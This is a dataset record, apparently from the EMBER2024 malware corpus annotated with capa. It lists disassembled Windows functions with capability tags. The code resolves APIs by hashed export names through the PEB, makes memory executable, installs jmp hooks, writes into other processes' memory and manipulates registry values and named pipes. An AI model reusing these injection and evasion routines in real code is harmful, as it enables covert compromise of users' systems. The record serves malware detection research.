joyce8/EMBER2024-capa huggingface dataset:
Function at 0x32144f
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
push 0x78740534
push eax
call fcn.003214f6
pop ecx
pop ecx
mov dword [ebp - 0x10], eax
test eax, eax
je 0x3214f1
lea eax, [ebp - 0x54]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
mov dword [edx], 0x65006b
add edx, 4
mov dword [edx], 0x6e0072
add edx, 4
mov dword [edx], 0x6c0065
add edx, 4
mov dword [edx], 0x320033
add edx, 4
mov dword [edx], 0x64002e
add edx, 4
mov dword [edx], 0x6c006c
add edx, 4
and dword [edx], 0
lea eax, [ebp - 4]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x54]
push 0x18
mov dword [ebp - 0x18], eax
pop eax
mov word [ebp - 0x1c], ax
push 0x1a
pop eax
mov word [ebp - 0x1a], ax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
and eax, 0
push eax
push eax
call dword [ebp - 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
leave
ret

Function at 0x3214f6
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [ebp + 0xc]
shr eax, 0x10
add ecx, ebx
test ax, ax
jne 0x321528
movzx eax, word [ebp + 0xc]
sub eax, dword [ecx + 0x10]
mov ecx, dword [ecx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
pop ebx
leave
ret
and dword [ebp - 4], 0
push esi
mov esi, dword [ecx + 0x20]
push edi
mov edi, dword [ecx + 0x24]
add esi, ebx
add edi, ebx
cmp dword [ecx + 0x18], 0
jbe 0x32157d
mov eax, dword [esi]
and dword [ebp - 8], 0
add eax, ebx
mov dl, byte [eax]
test dl, dl
je 0x321564
mov ebx, dword [ebp - 8]
movsx edx, dl
rol ebx, 7
xor ebx, edx
inc eax
mov dl, byte [eax]
mov dword [ebp - 8], ebx
test dl, dl
jne 0x32154c
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp dword [ebp - 8], eax
je 0x32158e
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
add esi, 4
add edi, 2
cmp eax, dword [ecx + 0x18]
jb 0x32153e
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
pop edi
pop esi
cmp edx, dword [ecx + 0x18]
jne 0x32151a
xor eax, eax
jmp 0x321525
movzx eax, word [edi]
jmp 0x321580
Function at 0x321593
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor ebx, ebx
xor esi, esi
cmp dword [ebp + 8], ebx
je 0x3215b0
cmp dword [ebp + 8], 3
jne 0x321628
call fcn.0032144f
jmp 0x3215bf
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
cmp eax, ebx
je 0x321628
push dword [ebp + 0xc]
push eax
call fcn.003214f6
mov esi, eax
pop ecx
pop ecx
cmp esi, ebx
je 0x321628
cmp dword [ebp + 8], 3
jne 0x321628
mov eax, dword [esi]
cmp eax, 0x6c64746e
je 0x3215ea
cmp eax, 0x4c44544e
jne 0x321628
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x78]
add esi, 6
mov edx, esi
shr edx, 0x10
add ecx, eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esi
test dx, dx
jne 0x32162e
movzx edx, si
sub edx, dword [ecx + 0x10]
mov ecx, dword [ecx + 0x1c]
lea ecx, [ecx + edx*4]
mov ecx, dword [ecx + eax]
add ecx, eax
mov esi, ecx
mov eax, esi
pop esi
pop ebx
leave
ret
mov esi, dword [ecx + 0x20]
push edi
mov edi, dword [ecx + 0x24]
add esi, eax
add edi, eax
mov dword [ebp + 8], ebx
cmp dword [ecx + 0x18], ebx
jbe 0x321685
mov edx, dword [esi]
mov ebx, dword [ebp - 8]
add edx, eax
mov al, byte [edx]
cmp al, byte [ebx]
jne 0x321668
test al, al
je 0x321664
mov al, byte [edx + 1]
cmp al, byte [ebx + 1]
jne 0x321668
add edx, 2
add ebx, 2
test al, al
jne 0x321648
xor eax, eax
jmp 0x32166d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x321695
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
add esi, 4
add edi, 2
cmp eax, dword [ecx + 0x18]
mov eax, dword [ebp - 4]
jb 0x321641
mov edx, dword [ebp + 8]
mov esi, dword [ebp + 8]
pop edi
cmp esi, dword [ecx + 0x18]
jne 0x32161b
xor ecx, ecx
jmp 0x321626
movzx edx, word [edi]
mov eax, dword [ebp - 4]
jmp 0x321688

Function at 0x32988f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x3298bc
cmp dword [ebp + 0x10], 0
je 0x3298be
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret
xor eax, eax
leave
ret

Function at 0x3298e4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
mov edx, dword [ebp + 8]
je 0x32991c
mov ecx, dword [ebp + 0x10]
push esi
push edi
mov eax, dword [ecx]
movzx edi, byte [edx]
dec dword [ebp + 0xc]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
xor eax, dword [esi*4 + 0x323380]
inc edx
cmp dword [ebp + 0xc], 0
mov dword [ecx], eax
jne 0x3298f5
pop edi
pop esi
pop ebp
ret
Function at 0x329a5e
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
mov ebx, 0x34e564
xor esi, esi
push ebx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x356c44
push 0x356b30
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push esi
push 0x10000080
push 3
push esi
push 7
push 0x80000000
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x329afc
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, esi
je 0x329af5
push esi
push esi
add eax, 0xfffffffc
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x329af5
push esi
lea eax, [ebp - 8]
push eax
push 4
push dword [ebp + 8]
mov dword [ebp - 8], esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 8], 4
jne 0x329af5
mov dword [ebp - 4], 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x329b49
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x329b53
sub eax, edx
jne 0x329b62
xor eax, eax
leave
ret
push 0x104
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x329b5e
push esi
mov esi, dword [ebp + 0x18]
push edi
mov edi, dword [ebp + 0x14]
and dword [edi], 0
and dword [esi], 0
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.ntdll.dll_sscanf
mov eax, dword [edi]
xor dword [esi], eax
add esp, 0x10
xor eax, eax
pop edi
inc eax
pop esi
leave
ret

Function at 0x329ba0
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push esi
push edi
mov esi, 0x103
push esi
lea eax, [ebp - 0x123]
push 0
push eax
mov byte [ebp - 0x124], 0
call sub.ntdll.dll_memset
push 7
pop ecx
push dword [ebp + 0x14]
xor eax, eax
mov byte [ebp - 0x20], 0
lea edi, [ebp - 0x1f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x325128
stosb byte es:[edi], al
lea eax, [ebp - 0x124]
push esi
push eax
call sub.ntdll.dll__snprintf
mov eax, dword [ebp + 0xc]
xor eax, dword [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x20]
push dword [ebp + 8]
push 0x1f
push eax
call sub.ntdll.dll__snprintf
add esp, 0x30
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
xor eax, eax
pop edi
inc eax
pop esi
leave
ret
Function at 0x329c1f
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov esi, 0x103
push esi
lea eax, [ebp - 0x103]
push 0
push eax
mov byte [ebp - 0x104], 0
call sub.ntdll.dll_memset
push 1
mov ebx, 0x325128
push ebx
lea eax, [ebp - 0x104]
push esi
push eax
call sub.ntdll.dll__snprintf
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
add esp, 0x1c
push 0
lea eax, [ebp - 0x104]
push eax
call edi
push 2
push ebx
lea eax, [ebp - 0x104]
push esi
push eax
call sub.ntdll.dll__snprintf
add esp, 0x10
push 0
lea eax, [ebp - 0x104]
push eax
call edi
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret

Function at 0x329c95
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x329ce9
push 0xfffffffffffffff1
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword fs:[0x18]
push esi
mov dword [eax + 0x34], edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword fs:[0x18]
cmp dword [eax + 0x34], 6
je 0x329ce9
push 0x103
push esi
call fcn.003298c0
pop ecx
pop ecx
test eax, eax
je 0x329ce9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
mov eax, edi
pop edi
pop esi
pop ebp
ret

Function at 0x329cef
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0xc], 0
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi]
mov eax, dword [esi + 0x79]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 8
push ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
call edi
test eax, eax
jne 0x329d85
push 8
add esi, 0x75
push esi
call edi
test eax, eax
jne 0x329d85
cmp dword [ebp + 0xc], eax
je 0x329d32
cmp dword [ebx], 0xe9c301eb
je 0x329d85
push 2
mov edi, esi
pop ecx
mov esi, ebx
xor eax, eax
repe cmpsd dword [esi], dword es:[edi]
je 0x329d85
lea eax, [ebp - 8]
push eax
push 0x40
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 8]
push eax
push 0xffffffffffffffff
mov dword [ebp + 8], ebx
mov dword [ebp - 4], 0x1000
call dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x329d85
pushal
mov esi, dword [ebp - 0x14]
mov eax, dword ds:[esi]
mov edx, dword ds:[esi + 4]
mov ebx, 0xe9c301eb
mov ecx, dword [ebp - 0x10]
lock cmpxchg8b qword ds:[esi]
jne 0x329d76
popal
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x329fb1
Capabilities:
Get system information on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
mov esi, dword [ebp + 0x1c]
xor ebx, ebx
push edi
test esi, esi
je 0x32a08b
mov edi, dword [ebp + 0x20]
test edi, edi
je 0x32a08b
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x10]
mov eax, esi
xor edx, edx
div ecx
imul ecx, eax
sub esi, ecx
lea eax, [esi + edi]
push eax
push ecx
push ebx
push 4
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 8], eax
test eax, eax
je 0x32a087
lea edx, [eax + esi]
cmp dword [edx], ebx
jbe 0x32a07b
and dword [ebp - 4], 0
lea edi, [edx + 4]
mov eax, dword [edi]
sub eax, 4
mov dword [ebp + 0x1c], edi
test eax, 0xfffffffe
jbe 0x32a074
mov eax, dword [ebp + 0x1c]
movzx ebx, word [eax]
mov esi, dword [edx]
mov eax, ebx
and eax, 0xfff
mov ecx, eax
sub ecx, dword [ebp + 0x10]
add eax, esi
add ecx, esi
cmp eax, dword [ebp + 0x10]
jb 0x32a061
lea eax, [ecx + 4]
cmp eax, dword [ebp + 0x18]
jae 0x32a061
and ebx, 0xfffff000
cmp ebx, 0x3000
jne 0x32a061
mov eax, dword [ebp + 8]
add ecx, dword [ebp + 0x14]
sub eax, dword [ebp + 0x24]
add dword [ecx], eax
mov eax, dword [edi]
inc dword [ebp - 4]
add dword [ebp + 0x1c], 2
sub eax, 4
shr eax, 1
cmp dword [ebp - 4], eax
jb 0x32a023
add edx, dword [edi]
cmp dword [edx], 0
ja 0x32a00d
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
xor ebx, ebx
inc ebx
mov eax, ebx
jmp 0x32a08d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x32a33c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov eax, dword [esi]
xor ebx, ebx
push esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0x1000
mov byte [ebp + 0xf], bl
mov dword [ebp - 4], ebx
call fcn.00329b0b
pop ecx
cmp dword [esi], ebx
jne 0x32a36d
xor eax, eax
jmp 0x32a437
lea eax, [ebp - 0x14]
push eax
push 0x40
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x32a366
cmp dword [esi + 0x95], ebx
jne 0x32a3a4
lea eax, [esi + 0x7d]
push eax
mov dword [esi + 0x95], 1
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [esi + 0x7d]
push edi
push eax
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esi + 0x1a1], ebx
jne 0x32a40d
lea eax, [ebp - 4]
push eax
lea edi, [esi + 0x71]
push edi
push dword [esi]
push dword [esi + 0x6d]
push esi
call fcn.0032a092
add esp, 0x14
test eax, eax
je 0x32a40d
push dword [edi]
mov edi, dword [ebp - 4]
push edi
push dword [esi]
push dword [ebp + 8]
call fcn.0032a308
add esp, 0x10
cmp edi, ebx
je 0x32a425
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x32a425
push edi
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x32a425
lea eax, [esi + 0x39]
cmp dword [eax], ebx
je 0x32a429
push dword [esi + 0x69]
push eax
push dword [esi]
push dword [ebp + 8]
call fcn.0032a308
add esp, 0x10
mov byte [ebp + 0xf], 1
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, byte [ebp + 0xf]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x32a5a5
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 8], 0
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ecx, dword [esi]
mov eax, dword [esi + 0x19d]
mov edx, dword [esi + 4]
sub edx, ecx
cmp dword [ebp + 0x10], 0
push edi
lea edi, [eax + esi]
lea ebx, [esi + 0x75]
lea eax, [edx + eax - 5]
mov dword [ebp - 0x10], ecx
mov byte [ebx], 0xe9
mov dword [esi + 0x76], eax
jne 0x32a64f
lea eax, [ebp - 0xc]
push eax
push 5
lea eax, [esi + 8]
push eax
push ecx
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtReadVirtualMemory]
test eax, eax
js 0x32a697
push 5
pop eax
cmp dword [ebp - 0xc], eax
jne 0x32a697
mov dword [esi + 0x65], eax
lea eax, [ebp - 0x14]
push eax
push 0x40
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 8]
mov dword [ebp + 0x10], edi
mov dword [ebp + 0xc], 0x1000
call dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x32a697
lea eax, [ebp - 4]
push eax
push 0x1a5
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
js 0x32a697
cmp dword [ebp - 4], 0x1a5
jne 0x32a697
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x14]
push eax
push 0x40
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 8]
mov dword [ebp + 0x10], ecx
mov dword [ebp + 0xc], 0x1000
call dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x32a697
lea eax, [ebp - 4]
push eax
push 5
push ebx
push dword [esi]
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
js 0x32a697
cmp dword [ebp - 4], 5
jne 0x32a697
mov dword [ebp - 8], 1
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x32a69f
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp + 8], eax
lea eax, [ebp + 0xc]
push eax
push 0x40
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
push eax
xor esi, esi
push 0xffffffffffffffff
inc esi
call dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
jns 0x32a6cf
xor esi, esi
mov eax, esi
pop esi
leave
ret
Function at 0x32a921
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor ebx, ebx
mov esi, 0x325150
jmp 0x32a957
mov eax, dword fs:[0x18]
cmp dword [eax + 0x34], 0xe7
jne 0x32a9a6
push 0x4e20
push esi
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
test eax, eax
je 0x32a9a6
push ebx
push ebx
push 3
push ebx
push ebx
push 0x40000000
push esi
call edi
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x32a938
mov eax, dword [ebp + 8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x32a973
sub eax, edx
push ebx
mov esi, eax
lea eax, [ebp - 8]
push eax
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x32a9a6
cmp dword [ebp - 8], esi
jne 0x32a9a6
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x32a9b1
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
leave
ret

Function at 0x32ad76
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x32adc8
mov eax, dword fs:[0x18]
and dword [eax + 0x34], 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x32adca
mov ecx, dword fs:[0x18]
cmp dword [ecx + 0x34], 0x12b
je 0x32adca
xor eax, eax
leave
ret

Function at 0x32adcc
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x32ae17
add eax, dword [eax + 0x3c]
mov ecx, 0x4550
cmp dword [eax], ecx
jne 0x32ae17
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
cmp dword [eax], ecx
jne 0x32ae17
mov ecx, dword [ebp + 0x10]
add eax, 4
mov dword [edx], eax
add eax, 0x14
mov dword [ecx], eax
mov ecx, 0x10b
cmp word [eax], cx
jne 0x32ae17
mov ecx, dword [ebp + 0x14]
add eax, 0xe0
mov dword [ecx], eax
xor eax, eax
inc eax
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x32ba40
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push esi
xor esi, esi
push esi
lea eax, [ebp - 4]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push 0x325194
push 0x80000001
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x32bab1
rdtsc
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
push dword [ebp - 8]
lea eax, [ebp - 0x110]
push dword [ebp - 0xc]
push 0x325188
push eax
call sub.ntdll.dll_sprintf
add esp, 0x10
push dword [ebp + 0xc]
lea eax, [ebp - 0x110]
push dword [ebp + 8]
push 3
push esi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x32bab1
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret
Function at 0x32babf
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push edi
xor edi, edi
push edi
lea eax, [ebp - 0x10]
push eax
push edi
push 0xf003f
push edi
push edi
push edi
push 0x325194
push 0x80000001
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x18], edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x32bc44
or dword [ebp - 8], 0xffffffff
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x30]
push eax
push edi
push dword [ebp - 0x10]
mov dword [ebp - 0x18], 1
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], 0x11
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x32bc44
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
mov eax, dword [ebp - 8]
cmp eax, 0xffffffff
je 0x32bc42
cmp dword [ebp - 0x14], 3
jne 0x32bbee
cmp dword [ebp - 0xc], 0x10
jne 0x32bbee
cmp eax, edi
je 0x32bb6a
inc eax
push eax
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
jmp 0x32bb6c
xor ebx, ebx
cmp ebx, edi
je 0x32bc42
lea eax, [ebp - 8]
push eax
push ebx
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 4]
mov dword [ebp - 0xc], 0x11
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
inc dword [ebp - 4]
test eax, eax
jne 0x32bc24
push dword [ebp + 0xc]
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 8]
push ebx
call dword [ebp + 8]
add esp, 0x10
test eax, eax
je 0x32bc24
cmp dword [ebp - 0x1c], edi
je 0x32bbd2
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x32bbd2
dec dword [ebp - 4]
push ebx
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x32bbf1
push ebx
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x32bbf1
inc dword [ebp - 4]
or dword [ebp - 8], 0xffffffff
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 4]
mov dword [ebp - 0xc], 0x11
push dword [ebp - 0x10]
xor ebx, ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
je 0x32bb35
cmp ebx, edi
je 0x32bc42
push ebx
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x32bc42
push ebx
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop ebx
pop esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x18]
pop edi
leave
ret
Function at 0x32bc90
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
push esi
mov esi, dword [eax + ecx + 0x78]
mov eax, dword [ebp + 0xc]
shr eax, 0x10
add esi, ecx
test ax, ax
jne 0x32bcc3
movzx eax, word [ebp + 0xc]
sub eax, dword [esi + 0x10]
mov edx, dword [esi + 0x1c]
lea eax, [edx + eax*4]
mov eax, dword [eax + ecx]
add eax, ecx
pop esi
leave
ret 8
and dword [ebp - 4], 0
push ebx
mov ebx, dword [esi + 0x24]
push edi
mov edi, dword [esi + 0x20]
add edi, ecx
add ebx, ecx
cmp dword [esi + 0x18], 0
jbe 0x32bd00
mov eax, dword [edi]
push dword [ebp + 0xc]
add eax, ecx
push eax
call fcn.0032bc53
pop ecx
pop ecx
mov ecx, dword [ebp + 8]
test eax, eax
je 0x32bd11
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
add edi, 4
add ebx, 2
cmp eax, dword [esi + 0x18]
jb 0x32bcd9
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
pop edi
pop ebx
cmp edx, dword [esi + 0x18]
jne 0x32bcb3
xor eax, eax
jmp 0x32bcbe
movzx eax, word [ebx]
jmp 0x32bd03

Function at 0x32bd16
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 5
push 0x18
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtQueryInformationFile]
test eax, eax
js 0x32bd51
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x32bd4c
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x32bd45
mov dword [eax], ecx
mov edx, 1
jmp 0x32bd56
mov eax, dword [ebp - 0x20]
jmp 0x32bd59
mov edx, 2
or eax, 0xffffffff
leave
ret 8